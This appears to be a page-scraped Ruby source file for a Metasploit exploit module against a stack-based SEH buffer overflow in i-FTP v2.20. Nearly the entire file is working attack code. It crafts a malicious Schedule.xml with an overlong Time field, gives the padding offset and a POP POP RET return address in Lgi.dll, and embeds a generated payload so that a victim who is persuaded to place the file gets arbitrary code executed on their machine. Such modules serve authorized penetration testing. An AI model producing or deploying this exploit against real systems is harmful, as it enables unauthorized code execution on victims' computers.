96 lines
2.5 KiB
Ruby
96 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rexml/document'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Remote::Seh
|
|
include REXML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'i-FTP Schedule Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow vulnerability in
|
|
i-Ftp v2.20, caused by a long time value set for scheduled download.
|
|
|
|
By persuading the victim to place a specially-crafted Schedule.xml file
|
|
in the i-FTP folder, a remote attacker could execute arbitrary code on
|
|
the system or cause the application to crash. This module has been
|
|
tested successfully on Windows XP SP3.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'metacom', # Vulnerability discovery and PoC
|
|
'Gabor Seljan' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'EDB', '35177' ],
|
|
[ 'OSVDB', '114279' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\x0a\x0d\x20\x22",
|
|
'Space' => 2000
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP3',
|
|
{
|
|
'Offset' => 600,
|
|
'Ret' => 0x1001eade # POP ECX # POP ECX # RET [Lgi.dll]
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Nov 06 2014',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])
|
|
],
|
|
self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
evil = rand_text_alpha(target['Offset'])
|
|
evil << generate_seh_payload(target.ret)
|
|
evil << rand_text_alpha(20000)
|
|
|
|
xml = Document.new
|
|
xml << XMLDecl.new('1.0', 'UTF-8')
|
|
xml.add_element('Schedule', {})
|
|
xml.elements[1].add_element(
|
|
'Event',
|
|
{
|
|
'Url' => '',
|
|
'Time' => 'EVIL',
|
|
'Folder' => ''
|
|
})
|
|
|
|
sploit = ''
|
|
xml.write(sploit, 2)
|
|
sploit = sploit.gsub(/EVIL/, evil)
|
|
|
|
# Create the file
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
file_create(sploit)
|
|
|
|
end
|
|
end
|